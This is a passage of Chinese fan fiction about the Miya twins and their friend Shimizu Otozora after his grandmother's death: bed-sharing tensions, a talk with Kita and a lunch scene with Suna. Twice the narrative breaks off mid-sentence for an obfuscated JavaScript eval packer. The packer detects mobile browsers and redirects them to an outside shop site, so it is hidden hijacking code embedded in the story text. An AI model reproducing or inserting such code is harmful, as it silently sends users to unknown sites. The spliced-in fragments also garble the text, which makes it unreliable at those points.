宫治甚至有想过,也许他和清水音空关系并没有那么密切,三人组总是会顾此失彼,也总是会有两个人更加亲密,清水音空和宫侑就是那两个人。 所以,就算他退出,也不会有什么关系。没有了他,清水音空从小认识的只是宫侑一个,也许最后不会走到这个结局。 然后,宫治把自己气笑了。 这个想法,和清水音空觉得他们失去他之后总会有旧的新的感情填补掉空白、甚至能遇到更好的人有什么区别? 在这个时候倒是重叠了。 但清水音空肯定不是出于他这样别扭的心态,而是平静地、认真地如此认为。 如果有重来一次的机会,他也绝对不会主动将自己边缘化,只会做更多,多到足以留下清水音空。 既然在清水音空心里,朋友的定义是可以取代,重大决定时不必考虑对方心情的。 那恋人呢? 家人呢? 如果清水音空离开就会痛不欲生失去理智人生受到重大影响呢? 宫治从未深思过那些忙碌之余,往往会随着有关清水音空的回忆浮现的难言心情。 他无意将也许到十年后二十年后只有他记得的记忆模糊到失真,也知道那不是多么健康的情感。 但上天赐予了奇迹。 在他尚未被时光“治愈”的时候,在他仍然会为清水音空辗转反侧的时候,在他还不够成熟仍然会做出冲动事情的时候。 能把清水音空留下的是压力和责任。 他不能让清水音空觉得他永远是在宫侑夺得头筹后跟着说“我也一样”的那个。 宫治摸到了清水音空的手。 还没来得及扣进指缝亲密握住,那只手飞快抽走了。 4. 第四章 习惯 清水音空双手撑住床,默默坐起。 左右两边似乎已经发现自己的过错,僵在床上装死,不敢出声也不敢动弹。 他摸到手机,按亮屏幕,用既能照清点东西又不会刺眼的光,照亮了自己睡觉的位置。 两床被子的交叠处是中间,但清水音空不是被双层被子热到了,他是冷到了。 左边的被子被侧身睡的宫治拱得比天还高,边缘搭在他睡的位置,中间则架起一处被子腾空的三角形空间。 好巧,右边也在侧着睡的宫侑,简直就是在亲身示范轴对称图形。 结果就是,睡在中间的他,不仅要忍受两边都有人的毛骨悚然感,还要忍受自己一个人被竖着分成了三部分、中间那部分盖着双层被子、左右两部分没有被子的冰火两重天。 清水音空本来等着这两人狡辩或承认错误,就能顺势提出三个人一起根本没办法正常睡觉,让他们赶紧回家去。 结果谁也没出声,等了一会,拿手机光凑近了一照,一个个都没睁开眼,睫毛直抖,脸上又红又白的。 试了下温度,没发烧。 宫侑先忍不住了,睁开眼睛的同时爬起来猛扑上来。 “我就是知道你不喜欢才做的,但你也用不着反应这么大吧,我才刚刚碰到你的手而已!你就这么讨厌吗!” 清水音空受到重击:“呃!” “别这样抱着音空,他喘不过气了。”宫治开始撕大型狗皮膏药,“你睡觉就好好睡觉,别做那些奇怪的事!” “有本事你这辈子都别做!” 被闷了个满怀的清水音空终于得到喘息空间,“……你们在说什么?” 宫侑嘀咕:“不是这件事吗?” 宫治平静脸,但耳朵已着火:“。” “侑,你先放开,”清水音空有点不适,“太近了,我不习惯。” 宫侑不撒手:“小时候还可以抱的,说明你可以习惯!” “小时候也没有,你在擅自捏造不存在的记忆。……我确定了,压根没有这回事,顶多就是牵手。” 就算童年记忆不那么清楚了,清水音空也不觉得自己是能和朋友黏黏糊糊拥抱以表示关系亲密的性格。 宫双子就更不是了,没把人像拔河绳中间的布条那样扯得东倒西歪,就是他们最大的克制和礼貌了。 至于手牵手,就很正常了。 摔进坑里了要拉出来。在很热闹的地方玩不牵着就会逐渐减员。两兄弟吵架时在两边生闷气,牵着能制止一场打架。开心了也会牵着手一起走,虽然拉手腕的次数也不少。 还是直到升入小学高年级后,男生之间这类动作会令人产生羞耻感,也很容易被同学们取笑,宫双子才渐渐改成了搭肩膀揽肩膀。 ……他的童年,好闹腾。 按在床上的手被翻转过来,手心朝上,捂出的热意还未消散,就又被重新覆盖住。 因身高、体型和发育,比他大上一圈的手,握住了他的。 清水音空看向闹腾源头之一——宫治,不明所以地晃了晃手。 宫治握得很紧,紧到掌骨有点疼痛感,没有随着晃动松手,“已经消失的习惯,从来没有过的习惯,重新养成习惯就可以了。” 已经超出好友打闹的范围了。 每个人都有自己的性格和喜恶,纵使他的不那么明显,又因为对大多东西都不喜欢也不讨厌,显得他包容度比较高。 作为朋友,宫双子从不会要求他更改什么,也已经过了觉得他的拒绝是嫌弃的年龄阶段。 清水音空本没有在意被窝里被两边同时不小心碰到的手。 但在微妙的氛围下,立刻明白了那不是不小心,是他们故意的,只是阴差阳错造就了双方的误解。 为什么要这么做? 只有一个答案:告白。 出于恋慕的心态? 清水音空在这方面一片空白,即使接到过不少情书,但他对陌生人因某方面产生的悸动能给的回复只有一个,也没有了解恋爱的心思。 甚至,接收到那些他人话题里恋爱相关的信息时,他还觉得挺冒犯的。 写情书表白心意还好,被拒绝后如果还锲而不舍追求,不是会给当事人造成困扰吗? 如果不表白,而是利用各种机会不断相遇,周围人还会故意让他们独处,对当事人来说不是原来平静安稳的日常被打乱了吗?变成被迫交友了? 归根结底,陌生人之间的恋爱就是要接受一个不熟的人入侵自己原本的交际圈,硬生生挤出来一个占地面积宽广的位置,把其他人际关系挤压得一团乱,还要处于交际圈最顶层。 熟人变成的恋人好像会好很多,至少不必有打破重组这个过程,但最后结果也是一样的。 清水音空没太深入思考宫双子向他告白的事,现在想想,按他粗浅的理论,宫双子是否转换成恋人身份都没有意义,本身就已经处于他人际关系的顶点了。 但现实不是这样。 作为朋友的宫双子不会勉强他,作为追求者——甚至还不是恋人——的宫双子已经做出了踩踏他的边界感、强迫他养成新的习惯、无视他个人意愿的事。 ……真的是恋爱,不是入室抢劫或者别的什么违法犯罪吗? ……真的是喜欢,不是在借此报复他吗? 清水音空选择冷处理。 “再玩下去,我们全都要感冒了。”他用另一只手拍了下宫侑的肩膀,“我睡在中间盖被子不方便,需要再拿一床薄被。” 事情看似就这样过去了,似乎能重新睡觉了。 不过宫双子就被子调整争论了一番,并不打算让他在中间裹床薄被上面再盖两床冬被时而太厚时而漏风还有被睡姿不怎么样的他俩全部卷走被子的可能性。 三个人平摊着盖两床很别扭,两个人盖一床就没问题了。 清水音空是拒绝的。 睡这么近,他的恐人症要发作了。 然后被联手镇压了。 但这样,就会有个人自己盖一床被子。 宫双子差点吵起来后,终于定下,每人每晚轮流来。 ……听起来已经不打算回自己家睡觉了。 稍微好点的是,宫治还没有一脚把他底线踩死,让他触底反弹。 即使睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883131|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在同一个被窝里,也只是比之前盖被子更舒适了点,不再有漏风的腾空,身体并未挨着,留了翻身时小心些就不会碰到的间隙。 但对清水音空来说,这么近的距离睡着一个人的毛骨悚然感,仍然无法克服。 太诡异了。 清水音空不知道自己什么时候睡着的,只觉得好像才闭上眼睛没多久,就被鸡飞狗跳的动静吵醒了。 “迟到了迟到了!阿治你怎么没带闹钟!” “你不也忘记今天要上课了吗?动作快点,回家去把书包都拿来,等下直接走。” “北前辈是不是已经退部了?我是部长吧?”宫侑简直是在哀嚎了,“排球部晨练也翘掉了!” 宫治幸灾乐祸:“二年二班有概率在下课刷新北前辈等前辈,你出大糗了。” 清水音空闭着眼睛不愿睁开,却被推了下肩膀。 宫侑已经冲出去了,乒里哐啷的,吵得像开着一节火车头。 宫治说:“音空,我知道你醒了,快点起来,和我们一起去上学。” “我请的假还没到时间,暂时不准备上学。”清水音空把被子往上拉了拉,“我需要补觉。” “不行。”宫治态度很坚决,他绝不允许清水音空独自留在家里,将漫长的假期持续下去,变成一片黑白,“如果你不去,我也不去了。我会拜托妈妈帮我向老师请长假,要是请不到,就直接旷课。” 清水音空睁开眼,颜色格外清透的浅棕色眼眸疑惑地注视着宫治,似乎在称量他的决心,计算天平另一端沉下还是翘起。 僵持片刻,清水音空起床了。 早餐是沿途包子店买的包子和热牛奶,站路边狼吞虎咽吃完后朝着学校一路狂奔,在教学楼不同楼梯口分道扬镳——一二年级教室所在楼层不同。 此时,跑了一路的清水音空才算是能缓口气。 他没有宫兄弟那么慌张,就算是迟到的情况下来销假,考虑到他的成绩和在校表现,哪怕他在即将放学前来学校找老师,老师也只会问他需不需要再休息一阵时间。 为什么总是被宫双子“威胁”到? 究其根本,还是无所谓吧。 不太想上学,不太想出门,就一直待在家里,但上学也没关系。 但睡觉不一样,这个不在他无所谓的范围里,也从来没有人——没有在他这里“权限”最高可答应要求非常广泛的人驳回他的拒绝。 因为他意愿不多,就更加讨厌这种无视他意愿的做法了。 那些对他人口中恋爱情感的排斥也是基于这一点。 他构想不出自己对他人有恋爱方面的情感,因此,单纯只看行为,就变成了两个图形为了能互相嵌入,毁坏原本的人际关系生活环境,最后变成不伦不类的可怕模样。 陌生的“恋人”对他来说是入侵者。 那他对于宫双子的行为,没有用强烈的态度和行为来制止,反而选择了忍受,是因为他不讨厌吗? 在很讨厌的情况下,其实不讨厌? 无法理解。 继续想下去也得不出结果,清水音空收敛思绪,敲响了老师办公室的门。 5. 第五章 前辈 午休,清水音空准备去便利店买面包吃。 他先去了二年级一班,宫治趴在桌子上睡得香甜,同社团的角名前辈按着手机打字都快出现残影。 直接给带饭团吧,什么饭团宫治都喜欢吃,不用把人叫醒问一下。 清水音空正准备走人,角名伦太郎却已经看见这位家里出事的后辈。 两人关系算不上亲近,他一时间不知道该说什么,伸手就把宫治推醒了。 “治,清水来找你了。” “……唔。” 宫治从手臂上抬起头,睡眼迷蒙,刘海凌乱,额头和脸上还有布料硌出来的红印子。 “角名前辈中午好。”不适合当场走人的清水音空先礼貌打了个招呼,转而问宫治,“你中午想吃什么?我要去便利店。” 角名伦太郎回应的声音宫治没听见,只呆呆看着清水音空。 他昨晚也没太睡好。 刚做了个噩梦。 就算再心大,经历了这么不可思议的事情,难免会怀疑只是一场过于真实随时都会消散的梦境,知道清水音空就在旁边的安心感也会很快消失。 或许是这些恐惧太过根深蒂固,睡着后梦的内容称不上好。 在梦里采取了很多手段,情况似乎好转了,但过了一段时间,清水音空还是消失了,又得到了熟悉的死亡通知。 被吓醒了,发现其实压根就没有重生,只有一场妄想的梦境。 是他在清水音空的葬礼上睡着了,睁开眼看见的就是黑白的遗像,棺材里放着一方小小的骨灰盒。 视野模糊旋转,被鲜花簇拥在中间的骨灰盒缝隙处渗出了透明的水迹。 水越来越多,盒子也逐渐胀大,仿佛里面的骨灰将长回骨肉,恢复成原本的模样。 他没见过清水音空的尸体,运回来时已经是骨灰了。 据说很恐怖。 还为了确认死因做过解剖。 宫治说不清自己什么心情,却也谈不上畏惧,他呆呆站在那里,在被吓得四散逃跑的吊客中间,像块不为水流所动的顽石。 他在等待,等待骨灰盒胀到极限后爆炸,然后将会出现怎样的清水音空呢? 极度紧张中,宫治被推醒了。 他看见清水音空的脸。 没有他想象出的缝合线,或被泡到青白肿胀,或被鱼鸟啃食少上几块。 黑色头发有点长了,发尾柔顺搭在脸庞和颈侧,露出冻得有点红的耳朵。 白皙的面庞,情绪不多以至于像镶嵌在人偶上的宝石的浅棕色双眸。 就连偶尔让人怀疑是面瘫的表情,都透露着活着的气息。 很寻常的样子,和他以往见到的清水音空,没有太大的区别。 最让他安心的样子。 清水音空敲了敲桌子:“回答。” “金枪鱼蛋黄酱饭团……算了,炒面面包吧。”宫治起身,“一起去,你应该还没叫阿侑?北前辈下课没来找他,他自己心虚,给队员们道歉后又趁着午休跑去找北前辈了。” “我知道。群里说他偷偷摸摸找了个人少的地方在蹲北前辈。” 北前辈已经退部了,宫侑也已经被委任成为队长。 每个人都有自己的行事风格,哪怕宫侑犯错,北前辈也不会端着前辈的架子前来随便插手。 这不利于刚上任的宫侑树立队长的威信,也不是北前辈的性格。 只要宫侑自己处理好,北前辈私底下都不会说宫侑什么。他很信赖自己的队员。 可以说,排球部里除了宫双子,清水音空相处最好的人就是北前辈了。 可惜他们隔的年级差有点大,他入学时北前辈就升高三了。 春高已是第三学期的比赛,能坚持到现在的高三前辈都不知道挺过了多少次老师的劝退,比赛结束后就是毕业和大学入学试等一系列紧锣密鼓的繁琐事情。 这么说来,接下来一年,他就要在宫侑手下过日子了。 高中的最后一年,排球部里将没有再能称得上朋友的人。 清水音空还没想得这么远过。 但这样的三年,社团里的前辈不断离开,新人不断加入,一代代把熟悉“淘换”成陌生,似乎也没有什么本质区别。 只要依旧是以实力为尊,不弄些乱七八糟的幺蛾子,来一些爱搞小团体的人,环境没有变得不舒服,就都是一样的。 反正他在场上场下做的事永远是那些,就算不让他上场,他也不会生气。 路过二年二班时,宫侑果然还没回来。 到便利店后,除了一堆午餐,还买了两份好吃且昂贵的布丁。 想了想,清水音空又加了两份。 他把一半分给宫治。 宫治诧异:“为什么?” “侑昨晚睡得很好,噩梦对你的影响比较深。刚刚又梦到了吧,眼神很呆。”清水音空把三人的午餐和零食分到不同袋子里,他喜欢条理分明划分清楚的东西,“吃到喜欢的东西,应该能安心点。” “……” “这是你的。” “你还真是……”宫治接过袋子,“我的不安太庞大了,布丁远远不够。” “?” “到天台去吃午餐吗?你也需要补觉吧。” “那里不是睡觉的好地方,还会有其他同学在。” “保健室?” “老师会在。床铺被很多学生睡过,不会经常进行更换。”清水音空不准备一个个反驳回去,“我很清醒,下午的社团活动也没问题,等结束后我回到家,晚上会早点睡。前提是你们能让我安稳睡觉。” “我努力给你找个没有其他同学没有老师睡起来还算舒服的地方补觉。” 清水音空脚步顿了顿,无声投去谴责的目光。 宫治毫不心虚,看到远处迎面走来的几个人,“北前辈,阿兰,侑。” 宫侑俨然一副生龙活虎的样子,跑过来接过属于他的袋子,展开一看,“居然有这个牌子的布丁!好奢侈的饭后甜点!” “觉得让音空破费了就给我,我会心怀虔诚与感激认真品味每一口的。” 清水音空在吵闹的背景音里打招呼:“北前辈,尾白前辈,中午好。你们也要去便利店买东西吗?” 尾白阿兰摸了摸后颈:“中午好,清水,每次被你这么称呼都怪不习惯的。” 大概是因为他和宫双子认识很久了,跟清水音空也认识时间不短。 宫双子对他从来不会叫“前辈”,而且在排球部里他们同为可代表学校出战的正式队员,也算是一种同级。 然而,年级上更矮一级的清水音空同样具备这些条件、且从来不会对宫双子使用敬称的情况下,却每每对他以及其他高年级学生称呼前辈,就多少让他不习惯了。 “直呼尾白前辈姓名的话,我也会觉得不习惯。” “……该说不愧你们能玩到一起吗,这是尊敬前辈还是不尊敬啊!” “是尊敬的。” 宫侑插话:“就是啊,让他叫我前辈他都不肯的,但以后再不愿意也得叫我队长了!” 宫治:“在什么场合有叫队长的必要?” 宫侑叉腰:“什么场合都有吧! “比如队长发出一记好球的时候,队长传出妙传的时候,队长跑得很快的时候,队长训练很认真的时候,队长气魄很令人敬服的时候…… “作为队员,就是应该在旁边说‘队长好棒!队长真厉害!’吧!不行,得多想点夸我的话,只是这么简单的夸奖我可不接受!” 宫治面无表情呕吐了一声,“突然有点想吐,应该是被不切实际的妄想恶心到了。” 并不会干以上那些事的清水音空看到北前辈的手势,两人借一步说话,留尾白阿兰在原地见势不妙方便立即劝架。 “中午好,音空。”北信介直言:“是治和侑拉着你来学校的吧。 “关于你祖母去世的事情我深表遗憾,我同样在奶奶的抚养下长大,能够理解你失去重要亲人的心情。如果你心情无法疏解,随时欢迎来找我。 “前阵子我来参加葬礼,奶奶得知情况后为你感到担心,特意叮嘱我告诉你:离别的伤痛不需要刻意克服,带着它向前走。疼爱的孩子能够好好生活、幸福长大,就是老人家最欣慰的事了。 “她没见过你,突然的安慰可能会显得有些冒昧,希望你不要介意。” 北信介当然知道奶奶全然是怜悯和好心,但有时候,外人的心意对当事人来说反而是一种冒犯。 在更敏感些的人心里,甚至是一把沾着蜜糖的刀。 他知道清水音空不是这种性格。 但说清楚些,既是他认真严谨的行事风格,也是他不确定唯一亲人去世后仍旧看似寻常的清水音空是不是将悲伤全都腐烂在心底,经不得一丝相关话题的触碰。 葬礼时他去吊唁了,但除了安慰,没有更多说话机会。 现在看到清水音空的状态,北信介很担心。 清水音空和他祖母没有感情?这不可能。他对祖母的关心和在意是日常生活里点点滴滴都能看出来的。 一个人如果在巨大的情感创伤后仿佛什么都没发生,那就要担心他是究竟没意识到已经失去了,还是做下什么不妙的决定了。 北信介个子比清水音空要矮上一些,却不会因此让人产生轻视之心,在他面前就会不自觉被感染地认真起来。 同样表情不多,和清水音空对陌生人通常出于礼貌性的友善、实则很容易察觉到的超强界限感不同,发色更为奇特的北信介,却总会给人能够信赖、哪怕不太熟危机时刻也可以寻求帮助且一定会得到回应的观感。 清水音空很信赖北前辈。 是出于“知道他是个好人、可靠的人”的信赖。 但他没想过,北前辈会和他说这些话。 大家都很默契地不触碰这个话题。 仿佛这是一道位置在他脸上还流血不止的伤疤,看见了都只能装作没看见,不然怕碰疼了他没法收场。 宫治宫侑不说则是嘴太笨了,安慰别人的经验也很少。 倒车轱辘的话说了一圈后连自己都觉得起不了什么效果,索性不说了,用陪伴和更高的关注度来代替言语。 恰好,清水音空也不想接收这些无意义的安慰。 说不定就是他释放出了这样的氛围,才会让大家做出相应的反应? 但北前辈说出来了,他也不会觉得讨厌。 他不接受这种说法,与他不会忽视别人的好意,并不冲突。 “非常感谢北前辈和北奶奶对我的关心,也请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883132|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您转告她老人家,我会好好的,不用为我担心。有机会我会上门拜访,希望北前辈不要嫌我麻烦就好。” 清水音空这方面的客套话也算是经过一番锻炼了,他接着道: “请北前辈放心,我一直都明白的,这个世界上不会有人永远陪伴着另一个人,哪怕是至亲。人生的路终究需要独自走下去。 “这个年龄能无病无灾在睡梦中离世,已经是非常值得庆幸的事了。” 他眼睛微弯,一个礼貌又暗藏防备的温和笑容。 这句耳朵快听出茧、把唯一平等的死亡说得可以比较、得出“太幸运了!发生了好事!”结论的说辞,何尝不能代入任何一件事呢? 对他,也能使用的。 北信介困惑地皱起眉头,以清水音空的性格,就算不能接受,也不会用客套话对好意进行阴阳怪气的回击。 和他一样,清水音空是个有一说一有二说二很认真的人,比起他,清水音空有时候甚至会显得有点呆。 那为什么要说客套话? 是完全无法接受到不能以自己本来的话进行回复,还是本能在面对前辈和长辈的好意时利用不需要兑现的客套话里的“以后”来进行感谢和安抚? 后面那些话也是,明明清水音空自己都不认同吧,却出口转内销拿来现学现卖。 在遮掩什么?有什么是稍微泄露出来就必定会被所有人激烈反对的?还是他想太多了? 北信介还没摸到那丝微妙危险感的源头,“音空,你……” 话未出口,就被不远处双手合成喇叭状的宫侑大声打断了。 “音空!北前辈!你们说完了吗——!” 清水音空朝宫侑比了个暂停的手势,微笑询问:“北前辈还有话要说吗?” 现在已经不适合继续了,北信介却只是换了个话题: “再过两年,你也毕业了,有想过未来要做什么吗?” “……我的父母都是名牌大学毕业的高材生,却因意外断送了生命和前途。 “祖母说过,我有读书的天分,也有运动的天分,只要愿意悉心钻研,在哪个行业都能做出一番成就。 “出于她的私心,希望我能从事比较安全的工作,工作地点能距离兵库县近一点,这样,她可以经常来探望我。” 话语真诚,但清水音空的笑容像是焊在了脸上。 “我还没想好高中毕业后要做什么,但应该不会和侑一样朝着职业球员努力,相比起普通工作,运动员的强度和受伤率还是太高了。” “还有很长时间足够你了解不同的行业,找出符合要求又感兴趣的职业。”北信介轻轻拍了下清水音空的肩膀,“走吧,他们应该等急了。” 的确。 才刚转身往那边走,宫侑就跑了过来,一下扑到了清水音空身上。 他揽着清水音空脖子,炫耀今天北前辈得知他的处理方式后怎么夸赞他是个有担当的队长。 鼻子简直要翘到天上去,全然不见群里被大家取笑的那个狗狗祟祟的心虚样。 因为经常摆着一张冷静脸,显得比不会好好用脸的宫侑池面很多的宫治,也闪现般出现在清水音空另一侧,拉住了清水音空的手腕。 并对宫侑进行精准打击。 导致先前已经发展到下一阶段的布丁话题和跳跃到的宫侑曾经多次有借无还宫治干了坏事在妈妈面前拿宫侑顶包的话题重新被拉扯回来,开始新一轮争辩。 一下被紧密包围的清水音空,笑容不知不觉间消失了。 他被拽得微微侧头,认真倾听着宫侑大堆自我吹嘘中一点点有用的废话,和宫治宛如一盆冷水往下泼、看似哑弹实则自己也一点就爆的吐槽。 尾白阿兰啧啧称奇:“清水到底是怎么做到不嫌烦的?我有段时间听他们吵架,回家后脑子都嗡嗡响,这样的日子清水天天过。” 曾经问过的北信介知道答案:“音空说,像在听漫才,每次还会有断案环节,和游戏里每天发放的日常任务一样。而且,他们不会天天吵架。” 他还是觉得微妙。 侑和治跟音空的肢体接触,是不是过于亲密了? 不是指他们做出了很明显的动作——虽然一个男高中生一直牵着另一个男高中生的手腕确实不太寻常——而是有种旁人插不进去的奇异氛围感。 那种与他人对话时似乎并未看着音空、但肢体语言无不表露着在意与掌控欲的模样。 他和音空没说几句话,侑和治的话题远远不到结束的时候吧,怎么就在那等着,开始催促了? 听说课间时还去找音空了,虽然只是说了几句话就走了,但每节课下课都去就不太对了。 还被角名吐槽太黏人的前辈会让后辈感到窒息的。 紧迫盯人的程度,简直就像岸边的两棵树拼了命地用树根与枝条捆住水里的浮木往上拖,哪怕自己被拽得向水中沉去,也绝不放手。 ……也许音空能用这样的话语形容,放在侑和治身上还是太怪了。 但应该不用担心先前的危险感了,音空不愿意对他敞开心扉,对侑和治却不一样。 北信介:“……” 尾白阿兰隐约听见自言自语:“什么?” “音空说会来我家做客。”北信介说,“我在想定哪个时间。” 6. 第六章 午餐 决定用餐地点时,清水音空才后知后觉感到些许讶异。 时值大半都处于寒冷冬季的第三学期,不管学生们在衣着打扮尤其是校服穿着上看起来有多么不怕冷,吃饭地点都乖乖从满学校到处跑缩回有限的室内区域。 除了厕所这种过于小众的地点,能选的也只有食堂和教室了。 以前他们大多是分开吃的,毕竟年级不同,也没必要三个人凑在一起吃饭。 一周有那么两三回治和侑跑来找他的情况,多半是各种原因导致的便当不够吃了或者压根没带,来他这里蹭一口的。 现在一定要一起吃,又没有在食堂点餐的意思,那就只剩下教室了。 三人不同的三个教室,每个都能凑出两张桌子。二年级的优势在于一班二班都有排球部内熟悉的队友。更进一步排除,角名前辈和治是邻桌。 问题不在这里,而是,宫治之前居然跟他提议说去天台补觉? 他有段时间没来学校了,在家神思倦怠,待得有些脱节,随口就跟着回答了,忽视了天气的因素——也有他压根没去天台吃过饭睡过觉只从同学口中听过的原因。 但宫治可是双休日都会和宫侑跑学校来和部员们一起训练的,也就隔了昨天一天而已。 连吃饭都冷到完全不合适的天台,真要睡一觉,起来都得重感冒了吧? ……宫治是不是有些脱节了? 不过这事既有些微妙,也可以用没注意到来解释。 毕竟宫治上课睡觉都不是什么奇怪事了,压根不需要专门找地方补觉。 提议时估计也和他一样,是道听途说的。 虽然清水音空仍旧觉得,这多少和那个噩梦有些关系。 宫侑很有种“目中无人”的气质,跑到不属于自己的班级没有一丝局促感。 上去看了眼正在啃面包的角名伦太郎,就动手把人家的桌子往旁边拉,和宫治的拼在一起。 角名伦太郎:“……” 从他的眼神,清水音空看到了无语。 但宫双子什么都没察觉到,招呼着角名伦太郎快过来一起吃,就开始自顾自忙活了。 宫治把清水音空按在自己座位上,从旁边去食堂吃饭的同学那借了两把椅子。 宫侑拉着椅子挨到清水音空旁边,一屁股坐上来,开始扒拉快堆满两张桌子的三个大袋子。 他试图把宫治的两个布丁也偷渡走,刚拿出来就被宫治眼疾手快抓住。 “想都别想,你自己的还没吃,就来拿我的了。”宫治伸手去拿宫侑的,“你得赔我一个。” 宫侑嘴硬:“谁拿你的了!我看看是不是一个口味的,要是不同的话就不公平!” 两人隔着清水音空,一站一坐,拉扯起来。 感觉头顶的头发都被宫治衣服上的静电滋啦滋啦到蓬起来的清水音空:“……” “咔嚓。” 为了防止偷拍,手机拍照的快门声是无法关闭的。 清水音空对这样的声音不陌生。 倒不是说他经常被拍——在校园里,再怎么说有人气的学生,也只是普通范围,又不是大明星,这样就太夸张了。 而是排球部内有个非常喜欢用手机留下有意思照片的“战地记者”——对方大部分时间都在近距离拍摄打架的宫双子,很有被误伤的风险。 他侧目,果然,坐在“长桌”侧面的角名前辈一手拿着面包咬着,一手举着手机朝他们这边拍摄,平静无波的狭长上挑眼里仿佛都多了点兴味的光。 “角名前辈。” “没拍到你,阿治把你的脸挡住了。”角名伦太郎说。 “我倒不介意这个。”清水音空从袋子里翻找出一罐热红豆汤,越过宫侑递给角名伦太郎,“请用。” “谢了。”角名伦太郎不讨厌甜食,但他不急着喝,此刻有更好奇的事,“我以为你不喜欢被拍照。” 角名伦太郎这么说,当然是有原因的。 他不是对着抗拒拍照的人噼里啪啦一通拍的性格。有时候做的事的确会让人觉得冒犯,但当事人往往没那么介意。 例如爱面子的宫侑在他手机里那一大堆龇牙咧嘴的丑照。 例如他一直想要挖掘出北前辈的弱点,嗯,他在北前辈面前还是很收敛的,毕竟很难找到嘛。 但对上很有边界感的人时,他也会保持尊重,试探过后,拿出相应的边界感——让别人觉得冒犯不愉快的话,就会变成开出的玩笑只有自己觉得好笑的情况。 从一开始他对着宫双子和刚入社的清水音空三人组举起手机时。 照片里清水音空转头看过来,眼神平静,哪怕没有一丝谴责或不适的表情,整个人却有种无比强烈的边界感。 请不要再对我做这么失礼的事情。——仿佛写满了这行字。 不需要特意说明什么,之后哪怕再对三人的相处模式和清水音空的怪异程度感到手痒,他也忍住了。 “说不上讨厌和喜欢。” 清水音空拆了两个面包,一边一个直接塞嘴巴里精准投喂,让自动进入进食模式的治和侑安分下来,思考了下对拍照的观感。 “不太习惯吧,和团体性质纪念意义的合照不同,我不太明白为什么要‘纪念’我,这是无意义的事,我也不像治和侑那么有趣。” 角名伦太郎眼睛微微睁大,没想到清水音空的想法这么……该说是奇怪吗?还是对自己的看轻? 他还没说话,宫治已经光速解锁手机对着清水音空一通拍。 快门声响得像机关枪。 里面肯定还照下了在背景里想说话结果被面包噎到表情狰狞面目模糊的宫侑。 一瓶热椰奶,差点被炒面面包单杀的宫侑成功得救。 活过来的第一件事,是抓着清水音空的肩膀猛摇:“才不是无意义的事!” 宫治用照片佐证:“音空超有趣!” 清水音空:“……” 好过激的反应。 他被摇得有点头晕,屏幕上的照片显然没有技术全是感情,像一连串模糊鬼影,洗出来挂在房间里能把起夜的宫侑吓到直接转世的程度。 确实很有趣,说不定能卖给鬼屋。 他不觉得自己说得有什么错。 宫治宫侑拉着他去拍大头贴都不奇怪,但他和角名前辈的关系,角名前辈拍他的照片就是很奇怪啊。 至少他没想过要拍角名前辈的照片。 再这么下去,午饭就别想吃了。 他也没兴趣在大庭广众之下和宫双子讨论是不是彼此理解出现了误差,果断改口:“好的,我很有趣,很有意义。角名前辈,请拍吧,多少张都无所谓。” 角名伦太郎差点被逗笑,原先想说的话果断咽了回去,眼睛弯起后更像是狐狸了,“这可是你说的。” 片刻后,终于被放开的清水音空被迫凑在一起观看三人组丑照。 宫双子哼哼唧唧勉强满意,暂时放过了他,继续干饭。 清水音空也开始吃东西,吵闹的氛围一时归于安静,只有咀嚼食物的声音。 角名伦太郎拆开一块蛋糕,删了几张刚刚抓拍重复的照片,留下最醒目也最清晰的那张。 大半年时间后,除了大合照外,有清水音空这种很私人的照片出现在自己手机里,他很难不觉得微妙。 他拍照的目的是记录让自己觉得有趣的愉悦的画面。 如果对象是人,除了宫双子这种特殊情况,其它能达到这个拍照条件的,基本上都熟到了一定程度,自然也不会对他的爱好感到不适应。 和宫双子关系密切的清水音空,却是和有趣沾不上什么关系的。 角名伦太郎擅长观察。 他最开始以为清水音空和北前辈很像,同样的认真严谨、将枯燥的日常训练日复一日坚持下去,甚至会有些“冷血无情”感,但后来这个想法被推翻了。 这种做法可以说是自律人的共性,而不是相似的个性。 北前辈会在获得代表队长的一号时落泪,一部分是努力得到了肯定,另外一部分,也是因为北前辈喜欢排球吧。 清水音空这么做,是因为这么做是省力的好习惯,也只限于排球相关的训练上,并不会像北前辈连日常的健康管理、扫除等都一丝不苟。 北前辈是发自内心的行为,清水音空则在依赖部分被养成的惯性。 两人最大的差别大概是,看起来都对排球的喜欢没那么多,但一个实际上是很认真的喜欢着,一个实际上是基本无感。 清水音空进排球部的时机可以说不太巧。 他们这些实力不错的一年级已经在整整一年时间里和高年级前辈磨合完毕,拿下了不错的成绩,成为了队里的中坚力量。 也就是说,可出战的正式队员,已经有些饱和了。 以目前的队伍,足以征战全国。 哪怕清水音空实力不错,但仍需和队伍磨合以及队伍正常情况下不缺他这个战力,就是他最大的劣势。 但这段磨合时间,清水音空从不为自己不能在正式比赛上场感到焦虑,甚至从未主动去询问过教练对他的安排。 从这方面来说,能为了排球一个人从爱知县跑到兵库县来读书的角名伦太郎还觉得挺可怕的。 他不知道清水音空为什么打排球。 如果只是需要社团活动分,清水音空有更轻松的选择,不必这么费时费力。 如果想要发挥天赋获得成就感,以清水音空优等生的成绩,多去拿些竞赛奖牌,足以令绝大部分学生艳羡。 如果只是为了陪宫双子……这就更无稽之谈了,清水音空不打排球他们就不是朋友了吗?没有清水音空宫双子不也打得很开心吗? 